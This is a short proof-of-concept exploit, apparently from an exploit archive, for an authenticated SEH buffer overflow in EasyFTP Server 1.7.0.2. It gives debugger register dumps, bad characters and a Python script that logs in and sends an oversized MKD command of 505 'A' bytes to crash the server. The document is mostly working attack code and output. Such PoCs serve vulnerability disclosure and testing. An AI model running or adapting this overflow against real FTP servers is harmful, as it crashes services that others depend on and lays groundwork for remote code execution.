EasyFTP Server 1.7.0.2 – (Authenticated) Buffer Overflow (SEH) (PoC)
#!/usr/bin/python # Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF (SEH) (PoC) # From: The eh?-Team || The Great White Fuzz (we're not sure yet) # Found by: loneferret # Hat's off to dookie2000ca # Date Found: 13/02/2010 # Developer contacted: 14/02/2010 # Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip # Tested on: Windows XP SP2/SP3 Professional # Nod to the Exploit-DB Team # Vulnerable commands: MKD / DELE # badchars: \x00 \x0a \x2f \x5c #SEH chain of thread 000001D8, item 0 # Address=0081FC60 # SE handler=41414141 #EAX 41414141 #ECX 0081FCCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... #EDX 005F3958 #EBX 00000000 #ESP 0081FB14 #EBP 00000000 #ESI 0081FCCC ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.... #EDI 00000000 #EIP 0040BFDC ftpbasic.0040BFDC #C 0 ES 0023 32bit 0(FFFFFFFF) #P 1 CS 001B 32bit 0(FFFFFFFF) #A 0 SS 0023 32bit 0(FFFFFFFF) #Z 0 DS 0023 32bit 0(FFFFFFFF) #S 0 FS 003B 32bit 7FFDD000(FFF) #T 0 GS 0000 NULL #D 0 #O 0 LastErr ERROR_INVALID_PARAMETER (00000057) #EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) #ST0 empty %#.19L #ST1 empty +UNORM 03E9 00000000 00000000 #ST2 empty 0.0 #ST3 empty 0.0 #ST4 empty -UNORM FAB4 00000000 00000002 #ST5 empty +UNORM 09B8 00000011 7C910732 #ST6 empty %#.19L #ST7 empty -??? FFFF 7C910738 7C90EE18 # 3 2 1 0 E S P U O Z D I #FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) #FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 import socket buffer = "\x41" * 505 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('xxx.xxx.xxx.xxx',21)) s.recv(1024) s.send('USER test\r\n') s.recv(1024) s.send('PASS test\r\n') s.recv(1024) s.send('MKD ' + buffer + '\r\n') s.recv(1024) s.send('QUIT\r\n') s.close |